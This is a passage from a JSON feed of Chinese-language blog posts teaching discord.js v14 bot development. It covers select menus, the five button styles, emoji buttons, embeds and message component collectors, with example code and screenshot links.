'This is also a description',\n value: 'Salt_Lake_City_UT_US',\n },\n ),\n );\n\n const embed1 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Las Vegas\\nCity in Nevada')\n .setDescription(`Las Vegas, often known simply as Vegas, is the 25th-most populous city in the United States, the most populous city in the state of Nevada, and the county seat of Clark County. The city anchors the Las Vegas Valley metropolitan area and is the largest city within the greater Mojave Desert.\\n` +\n `Sales tax: 8.38%\\n` +\n `Time zone: Pacific Standard Time, GMT-8`);\n const embed2 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Denver\\nCity in Colorado')\n .setDescription(`Denver, the capital of Colorado, is an American metropolis dating to the Old West era. Larimer Square, the city’s oldest block, features landmark 19th-century buildings. Museums include the Denver Art Museum, an ultramodern complex known for its collection of indigenous works, and the mansion of famed Titanic survivor Molly Brown. Denver is also a jumping-off point for ski resorts in the nearby Rocky Mountains.\\n` +\n `Sales tax: 8.81%\\n` +\n `Time Zone: Mountain Standard Time, GMT-7`);\n const embed3 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Houston\\nCity in Texas')\n .setDescription(`Houston is a large metropolis in Texas, extending to Galveston Bay. It’s closely linked with the Space Center Houston, the coastal visitor center at NASA’s astronaut training and flight control complex. The city’s relatively compact Downtown includes the Theater District, home to the renowned Houston Grand Opera, and the Historic District, with 19th-century architecture and upscale restaurants.\\n` +\n `Sales tax: 8.25%\\n` +\n `Time zone: Central Standard Time, GMT-6`);\n const embed4 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Seattle\\nCity in Washington State')\n .setDescription(`Seattle, a city on Puget Sound in the Pacific Northwest, is surrounded by water, mountains and evergreen forests, and contains thousands of acres of parkland. Washington State’s largest city, it’s home to a large tech industry, with Microsoft and Amazon headquartered in its metropolitan area. The futuristic Space Needle, a 1962 World’s Fair legacy, is its most iconic landmark.\\n` +\n `Sales tax: 10.25%\\n` +\n `Time zone: Pacific Standard Time, GMT-8`);\n const embed5 = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle('Salt Lake City\\nCity in Utah')\n .setDescription(`Salt Lake City is the capital and most populous city of Utah, as well as the seat of Salt Lake County, the most populous county in Utah. With a population of 200,133 in 2020, the city is the core of the Salt Lake City metropolitan area, which had a population of 1,257,936 at the 2020 census.\\n` +\n `Sales tax: 7.75%\\n`+\n `Time zone: Mountain Standard Time, GMT-7`);\n\n await interaction.reply({ content: \"Choose 2-4 cities to make your very own vacation destination list:\", components: [row], embeds: [] });\n\n const filter = i =\u0026gt; {\n return interaction.customId === 'select_1' \u0026amp;\u0026amp; i.user.id === interaction.user.id;\n }\n\n const collector = interaction.channel.createMessageComponentCollector(\n filter,\n );\n\n collector.on('collect', async i=\u0026gt; {\n await i.update({ content: 'Selected! Fetching the detailed data relating to your choices...', components: [], embeds:[] });\n await wait(3150); // wait 3.15 secs to emulate the delay of the network\n await i.editReply({content: \"Here's your detailed descriptions related to your choices!\", embeds: [], components: []});\n\n const cityArr = Array.from(i.values);\n if (cityArr.includes('Las_Vegas_NV_US')) {\n await i.followUp({content: \"\", embeds: [embed1], components: []});\n }\n if (cityArr.includes('Denver_CO_US')) {\n await i.followUp({content: \"\", embeds: [embed2], components: []});\n }\n if (cityArr.includes('Houston_TX_US')) {\n await i.followUp({content: \"\", embeds: [embed3], components: []});\n }\n if (cityArr.includes('Salt_Lake_City_UT_US')) {\n await i.followUp({content: \"\", embeds: [embed4], components: []});\n }\n if (cityArr.includes('Seattle_WA_US')) {\n await i.followUp({content: \"\", embeds: [embed5], components: []});\n }\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121130952741-1113771410.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121131000278-445865959.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121131004833-191889417.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221121131007863-1019711950.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e其他操作\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ereply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eeditReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeferReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efetchReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeleteReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efollowUp()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e获取下拉菜单被选中的值\u003c/h3\u003e\n\u003cp\u003e不论你的下拉菜单是单选、多选还是混合的,下拉菜单返回值是个数组。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e比如单选菜单,i 是收集器里收集到的 interaction 变量:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003e\tconst value = Array.from(i.values)[0];\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e如果不是单选:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003e\tconst valueArr = Array.from(i.values);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003e此时,你可以用简单的 for 遍历数组里的所有值:\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003e\tfor (let j=0; j\u0026lt;valueArr.length; j++) {\n\t\tconsole.log(valueArr[j]);\n\t}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e如果你想判断该数组是否包含某项:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eif (valueArr.includes('Choice_6')) {\n await i.editReply({content: \"You choosed the sixth option\", embeds: [], components: []});\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e其他 SelectMenu 的类型\u003c/h3\u003e\n\u003cp\u003e在 Discord.js v14.6.0 级更早版本中,SelectMenu 只有它自己这一个类型。\u003c/p\u003e\n\u003cp\u003e而自从 v14.7.1 起,原 SelectMenu 改名为 StringSelectMenu,并增加了 UserSelectMenu、ChannelSelectMenu、MentionableSelectMenu、RoleSelectMenu。\u003c/p\u003e\n\u003cp\u003e对应的 Builder 就是 StringSelectMenuBuilder()、UserSelectMenuBuilder()、ChannelSelectMenuBuilder()、MentionableSelectMenuBuilder()、RoleSelectMenuBuilder()。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-10/"},{"title":"Bot in Discord with discord.js (9)","time":"2022-11-19T00:00:00Z","content":"\u003ch2\u003eChapter 12 - 交互四大组件之:按钮\u003c/h2\u003e\n\u003ch3\u003e修改 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/eef8c0f3fb0ebed69c63eb776128acb28ceb8b3f\nhttps://gitee.com/wtflmao/discord_bot_example/commit/eef8c0f3fb0ebed69c63eb776128acb28ceb8b3f\u003c/p\u003e\n\u003cp\u003e在文件的最后那块儿附近,找到最后一个 else,在这个 else 上面插入一种新情况,用于按钮:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eelse if (interaction.isButton()) {\n\tconsole.log(\"a button!\");\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e新建一个操作行 ActionRow\u003c/h3\u003e\n\u003cp\u003e上来先导入需要的 \u003ccode\u003eActionRowBuilder\u003c/code\u003e,用于建立操作行 ActionRow。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003enew ActionRowBuilder()\u003c/code\u003e 新建。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder } = require('discord.js');\n\nlet row = new ActionRowBuilder()\n .addComponents(\n ... // 此处确定你需要的组件\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e新建按钮 Button\u003c/h3\u003e\n\u003cp\u003e上来先导入需要的 \u003ccode\u003eActionRowBuilder\u003c/code\u003e 和 \u003ccode\u003eButtonBuilder\u003c/code\u003e。前者用于建立操作行,后者用于建立一个按钮。按钮需要被包含到一行操作行上去。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003enew ButtonBuilder()\u003c/code\u003e 新建一个按钮。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder } = require('discord.js');\n\nlet row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n\t // 设置按钮自定义 ID\n .setCustomId('button1')\n\n\t\t\t// 设置按钮标签,就是按钮上的字\n .setLabel('Click me!')\n\n\t\t\t// 设置按钮样式,具体在下一小节有讲\n .setStyle(ButtonStyle.Primary)\n\n\t\t\t// 设置按钮是否被禁用,这里的 false 表示未被禁用\n .setDisabled(false)\n\n\t\t\t// 设置一个 Emoji 前缀\n .setEmoji('😀'),\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这个按钮的样式如图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119140537206-293552005.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e五种按钮的基本样式\u003c/h3\u003e\n\u003cp\u003e按钮(Button)是组件(Component)的一种,通过 \u003ccode\u003ecomponents: []\u003c/code\u003e 指定哪些按钮将发送出去。\u003c/p\u003e\n\u003cp\u003e一条消息里最多加入五个按钮。准确来说,是最多五个组件(components),按钮是组件的一种。\u003c/p\u003e\n\u003cp\u003e按钮有五种样式:Primary、Secondary、Success、Danger 和 Link,下面用 \u003ccode\u003ecommands/buttons/stylishButton.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-81e417f8348606916071c665b42372b6e3a496eec5d6f934c129483d412b941b\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-81e417f8348606916071c665b42372b6e3a496eec5d6f934c129483d412b941b\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('stylishbutton')\n .setDescription('Replies with a button, but stylish!'),\n\n async execute(interaction) {\n\n let button1 = [], button1d = [];\n\n // // 批量生成了五个按钮,保存到数组里,根据下标来确定消息内唯一的 customId\n for (let i = 1; i \u0026lt;= 5; i++) {\n button1.push(new ButtonBuilder()\n // 在同一条回复消息中,你需要确保所有 customId 是不重复的。\n .setCustomId(`b1_${i}`)\n .setLabel(`Click me(${i})!`)\n .setStyle(ButtonStyle.Primary),);\n }\n\n // 批量生成了四个按钮,保存到数组里,根据下标来确定消息内唯一的 customId\n for (let i = 1; i \u0026lt;= 4; i++) {\n button1d.push(new ButtonBuilder()\n // 在同一条回复消息中,你需要确保所有 customId 是不重复的。\n .setCustomId(`b1d_${i}`)\n .setLabel(`Click me(${i})!`)\n .setStyle(ButtonStyle.Primary)\n .setDisabled(true),);\n }\n\n // 在一行里塞了五个按钮\n const rowPrimary = new ActionRowBuilder()\n .addComponents(button1);\n\n const rowSecondary = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b2')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Secondary),\n );\n\n const rowSuccess = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b3')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Success),\n new ButtonBuilder()\n .setCustomId('b3d')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Success)\n .setDisabled(true),\n );\n\n const rowDanger = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // 在同一条回复消息中,你需要确保所有 customId 是不重复的。\n // 这里我们用来随机数生成函数来生成 ID,降低 ID 碰撞的概率。\n .setCustomId(`b4_${Math.floor(Math.random() * 100000)}`)\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Danger),\n );\n\n const rowLink = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // you can't .setCustomId() to a Link button\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Link)\n .setURL(\"https://support.discord.com/hc/en-us\"),\n );\n\n // 在一行里塞了四个按钮\n const rowPrimaryD = new ActionRowBuilder()\n .addComponents(button1d);\n\n const rowPrimary2D = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId(`owo`)\n .setLabel(\"owo\")\n .setStyle(ButtonStyle.Primary)\n .setDisabled(true),\n );\n\n const rowSecondaryD = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b2d')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Secondary)\n .setDisabled(true),\n );\n\n const rowDangerD = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b4d')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Danger)\n .setDisabled(true),\n );\n\n const rowLinkD = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // 你不能对一个链接按钮设置 customId 属性\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Link)\n .setURL(\"https://support.discord.com/hc/en-us\")\n .setDisabled(true),\n );\n\n // 这条消息里我们插了三行 ActionRow 进去。\n await interaction.reply({ content: 'These are some Primary buttons:', components: [rowPrimary, rowPrimaryD, rowPrimary2D], ephemeral: false });\n\n // 这条消息里我们插了两行 ActionRow 进去。\n await interaction.followUp({ content: 'These are two Secondary buttons. They are NOT on the same row:', components: [rowSecondary, rowSecondaryD], ephemeral: false });\n\n // 这条消息里我们插了一行 ActionRow 进去。\n await interaction.followUp({ content: 'These are two Success buttons. They are on the same row:', components: [rowSuccess], ephemeral: false });\n\n // 这条消息里我们插了两行 ActionRow 进去。\n await interaction.followUp({ content: 'These are two Danger buttons. They are NOT on the same row:', components: [rowDanger, rowDangerD], ephemeral: false });\n\n // 这条消息里我们插了两行 ActionRow 进去。\n await interaction.followUp({ content: 'These are two Link buttons. They are NOT on the same row:', components: [rowLink, rowLinkD], ephemeral: false });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e使用按钮样式时,要注意第一行要导入 ButtonStyle。\u003c/p\u003e\n\u003cp\u003e我们可以看到,一个回复消息,其实有(至少)四个域:\u003ccode\u003econtent\u003c/code\u003e、\u003ccode\u003ecomponents\u003c/code\u003e 、 \u003ccode\u003eembeds\u003c/code\u003e 和 \u003ccode\u003eephemeral\u003c/code\u003e。其中,\u003ccode\u003econtent\u003c/code\u003e 是必选的,其余是可选的。当只有 \u003ccode\u003econtent\u003c/code\u003e 时,\"content\" 标签可以省略,如:\u003ccode\u003eawait interaction.reply(\"1+1=2\");\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119143142765-1071464031.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e只有链接按钮可以有一个 url。链接按钮不能有 customId,并且在单击时不发送交互事件。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003e.setDisabled(true)\u003c/code\u003e 为一个按钮设置不可点击的属性,这样用户就不能点击这个按钮了。但是你不能向一个已经建成的(即\u003ccode\u003enew ActionRowBuilder()\u003c/code\u003e过的)按钮变量设置新的属性,你必须重新 new 一个按钮出来。\u003c/p\u003e\n\u003ch3\u003e带有前缀 Emoji 的按钮\u003c/h3\u003e\n\u003cp\u003e下面用 \u003ccode\u003ecommands/buttons/emojiButton.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-b33acfdadb6c12912fe644066f8ef7e2852f86016539498309b0e2c08b3f5933\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-b33acfdadb6c12912fe644066f8ef7e2852f86016539498309b0e2c08b3f5933\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('emojibutton')\n .setDescription('Replies with a button, bu stylish!'),\n\n async execute(interaction) {\n\n const row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId('b1')\n .setLabel('Click me!')\n .setStyle(ButtonStyle.Primary)\n .setEmoji('😀'),\n new ButtonBuilder()\n .setCustomId('b2')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Secondary)\n .setEmoji('😁'),\n new ButtonBuilder()\n .setCustomId('b3')\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Success)\n .setEmoji('🤣'),\n new ButtonBuilder()\n .setCustomId(`b4`)\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Danger)\n .setEmoji('😇'),\n new ButtonBuilder()\n // you cant .setCustomId() to a Link button\n .setLabel(\"Click me!\")\n .setStyle(ButtonStyle.Link)\n .setURL(\"https://support.discord.com/hc/en-us\")\n .setEmoji('🤪'),\n );\n\n // 一条消息里最多五行 ActionRow,每一行 ActionRow 里最多插入五个包括按钮在内的组件\n await interaction.reply({ content: 'There are some buttons:', components: [row], ephemeral: false });},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119140812249-1843561049.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e注意,这里 \u003ccode\u003e.setEmoji()\u003c/code\u003e 只能设置一个 emoji,且只会出现在按钮 Label 的前面。\u003c/p\u003e\n\u003cp\u003e还有,一条消息里最多五行 ActionRow,每一行 ActionRow 里最多插入五个按钮,准确来说,是最多五个组件(components),按钮是组件的一种。如需五个以上的按钮,可以尝试回复多次,比如 \u003ccode\u003e.followUp()\u003c/code\u003e。\u003c/p\u003e\n\u003ch3\u003e带有嵌套元素和按钮的回复\u003c/h3\u003e\n\u003cp\u003e通过 \u003ccode\u003enew EmbedBuilder()\u003c/code\u003e 新建一个嵌套元素。注意第一行要导入 EmbedBuilder。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003eembeds: []\u003c/code\u003e 指定哪些嵌套元素将发送出去。\u003c/p\u003e\n\u003cp\u003e嵌套元素不是按钮专属,嵌套元素其实和按钮等组件是平级的。\u003c/p\u003e\n\u003cp\u003e下面的源码注释我个人认为该有的都有了,清晰明了。就不再在这里费笔墨再写一遍了。\u003c/p\u003e\n\u003cp\u003e下面用 \u003ccode\u003ecommands/buttons/embeddedbutton.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-f0a9d6890a4e8d5de14146749628d46fc9d5126a38f635f266993e4d35c4dcfa\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-f0a9d6890a4e8d5de14146749628d46fc9d5126a38f635f266993e4d35c4dcfa\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, EmbedBuilder, SlashCommandBuilder } = require('discord.js');\n\nlet updatedBtnMsg = new Map();\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('embeddedbutton')\n .setDescription('Replies with a button, but embedded!'),\n\n async execute(interaction) {\n updatedBtnMsg.set(\"0\", false);\n\n const row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // 随机化 Id 以求好运\n .setCustomId(`b3_${Math.floor(Math.random() * 100000)}`)\n .setLabel(\"Got it! Dismiss.\")\n .setStyle(ButtonStyle.Success),\n );\n\n const rowD = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n .setCustomId(`b3d`)\n .setLabel(\"Got it! Dismiss.\")\n .setStyle(ButtonStyle.Success)\n .setDisabled(true),\n );\n\n const hc = new EmbedBuilder()\n .setColor(0x0099FF)\n .setTitle(\"\u0026gt;\u0026gt;\u0026gt;Discord Help Center\u0026lt;\u0026lt;\u0026lt;\")\n .setURL('https://support.discord.com/hc/en-us')\n .setDescription(\"Need help? We've got your back.\");\n\n await interaction.reply({ content: 'R U seeking for assistance using Discord?', components: [row], embeds: [hc], ephemeral: true });\n\n const filter = i =\u0026gt; {\n // 这里我们用到了下面会将的“收集器”,准确来说是“基本消息组件收集器”\n // filter 是收集器 collector 的一个过滤器。\n // 如果该消息早已被其他收集器实例收集走了,那就返回 false,表示本收集器拒绝收集该消息。这在并发场景下很好用。\n if (updatedBtnMsg.has(i.message.id)) {\n return false;\n } else { // 运行到这条 else 分支,意味着该消息未被曾收集过。\n if (i.customId.startsWith('b3')) {\n // 我们不需要验证按钮消息的发起者和按按钮的人是否是同一个人,\n\t // 因为这俩人肯定是同一个人,因为按钮消息已被设置为 ephemeral,\n\t // 甚至不会有外人能看到这条消息,更别说按这个按钮了\n updatedBtnMsg.set(i.message.id, true);\n return true;\n } else {\n // 这条分支意味着不满足我们的要求 i.customId.startsWith('b3') === true\n // 即按下的按钮的 Id 不是 b3 打头的。我们不要。\n return false;\n }\n }\n };\n\n const collector = interaction.channel.createMessageComponentCollector({\n filter,\n max: 1, // 我们只想让收集器收集一个满足 filter 条件的 Interaction\n\t\t // 如果你想只针对特定组件类型进行收集的话,使用 componentType 标签\n\t\t // 如果你想设置收集的最大组件数,使用 maxComponents\n\t\t // 最大交互用户数,使用 maxUsers\n time: 20 * 1000, // 20.000 secs,以毫秒为单位运行收集器多长时间,不设置则一直收集\n\t\t\t\t\t\t // 如果要设置不活动后停止收集器多长时间(以毫秒为单位),使用 idle\n });\n\n collector.on('collect', async i =\u0026gt; {\n // 明确地令 component 数组为空数组,可以在 .update() 时删除该消息的任何组件。\n // 明确地令 embeds 数组为空数组,可以在 .update() 时删除该消息的任何嵌套元素。\n await i.update({ content: `Nice.`, components: [rowD], embeds: []});\n });\n\n collector.on('end', collected =\u0026gt; {\n console.log(`Collected ${collected.size} items`);\n\n // 为了确保数组下标访问[0]不越界,我们这里要求数组不为空\n if (collected.size \u0026gt; 0) {\n console.log((Array.from(collected.values()))[0].customId);\n }\n });\n\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141119800-67771465.png\" alt=\"image\" /\u003e\n按下按钮后:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141123741-159560186.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e其他对按钮的操作\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ereply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eeditReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeferReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efetchReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeleteReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efollowUp()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我们这里展示一下 \u003ccode\u003edeferReply()\u003c/code\u003e 和 \u003ccode\u003edeleteReply()\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e下面的源码注释我个人认为该有的都有了,清晰明了。就不再在这里费笔墨再写一遍了。\u003c/p\u003e\n\u003cp\u003e下面用 \u003ccode\u003ecommands/buttons/deferAndDelete.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-16f8992fc6c047410730afb876fa5a8a9c8ed7b312c9f991f52bdb9ca8f85b8f\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-16f8992fc6c047410730afb876fa5a8a9c8ed7b312c9f991f52bdb9ca8f85b8f\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nlet updatedBtnMsg = new Map();\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('ddbutton')\n .setDescription('Replies with a button, but deferred, also self-delete!'),\n\n async execute(interaction) {\n updatedBtnMsg.set(\"0\", false);\n\n const row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // Randomize the button's customId for good luck, like \"b1_90372\" or \"b1_1827\".\n .setCustomId(`b1_${Math.floor(Math.random() * 100000)}`)\n .setLabel(\"Update weather data\")\n .setStyle(ButtonStyle.Primary),\n );\n\n await interaction.reply({ content: 'This is a button:', components: [row], embeds: [], ephemeral: false });\n\n const filter = i =\u0026gt; {\n // If the target message has been collected and edited by the other collector instance,\n // then return false, telling the current collector that \"do not collect this msg, or else, DIE!!\", LOL.\n if (updatedBtnMsg.has(i.message.id)) {\n return false;\n } else {\n // Here, this msg hasn't been collected yet.\n if (i.customId.startsWith('b1') \u0026amp;\u0026amp; (i.user.id === interaction.user.id)) {\n // Here, it fulfills our requirements: a.is a DANGEROUS button(customId starts with \"b4_\"), and b. the \"button msg\"'s author is the person that presses the button\n // Put this \u0026lt;i.message.id, true\u0026gt; record into the Map, so that we can no longer collect it\n // (like when many active collectors all see the same button interaction fulfills its requirements, then they all wanna edit the same msg, but to only find the interaction has already been acknowledged and the bot be halted.)\n updatedBtnMsg.set(i.message.id, true);\n } else {\n // Here, it doesn't meet all the requirements we need, so do not collect it.\n return false;\n }\n }\n updatedBtnMsg.delete(i.message.id);\n return true;\n };\n\n const collector = interaction.channel.createMessageComponentCollector({\n filter,\n time: 18000, // 18 secs\n });\n\n collector.on('collect', async i =\u0026gt; {\n // use .deferUpdate() to simulate an API response process from a weather channel.\n await i.deferUpdate();\n await i.editReply({ content: `Updating...`, components:[] });\n await wait(3350); //wait 3.350 secs\n await i.editReply({ content: `Las Vegas, NV\\nAs of ${Math.floor(Math.random() * 11) + 1}:${Math.floor(Math.random() * 59)} am PST\\n44°F\\nFair\\nDay ${Math.floor(Math.random() * 10) + 66}°F • Night ${39 - Math.floor(Math.random() * 10)}°F`, embeds: [], components: [row] });\n });\n\n collector.on('end', collected =\u0026gt; {\n console.log(`Collected ${collected.size} items`);\n\n // To make sure there's at least one item in the array,\n // to prevent accessing the first element of an empty array, which leads to out-of-bounds memory access\n if (collected.size \u0026gt; 0) {\n // To delete the whole reply, do .deleteReply() for the last collected item, not all the items.\n (Array.from(collected.values()))[collected.size - 1].deleteReply();\n console.log((Array.from(collected.values()))[0].customId);\n }\n });\n\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n刚发出斜杠命令交互后:\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141436425-1654461385.png\" alt=\"image\" /\u003e\n点击 Update weather button 后:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141504850-2016161105.png\" alt=\"image\" /\u003e\n结果:\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141525899-129872057.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e消息组件收集器:处理按钮被按下后的交互操作\u003c/h3\u003e\n\u003cp\u003e我们需要建立一个 Discord.js 为我们提供的一种“收集器”(Collector)来监听一种交互:按钮被按下这种交互。\u003c/p\u003e\n\u003cp\u003e其实消息组件收集器可以收集任何消息组件,但是这里我们只在乎按钮的交互。\u003c/p\u003e\n\u003cp\u003e消息组件收集器,这种收集器有个特点,就是 Discord 期望你的机器人在 3 秒内对所有交互做出响应,即使是您不想收集的交互也是如此。出于这个原因,实践中的许多情况下,在 filter 中上来就来个 \u003ccode\u003e.deferUpdate()\u003c/code\u003e,甚至放弃使用 filter,直接让 collector 来者不拒,上来同样先 \u003ccode\u003e.deferUpdate()\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e我们这里没有这么做。\u003c/p\u003e\n\u003cp\u003e下面的源码注释我个人认为该有的都有了,清晰明了。就不再在这里费笔墨再写一遍了。\u003c/p\u003e\n\u003cp\u003e下面用 \u003ccode\u003ecommands/buttons/deferAndDelete.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 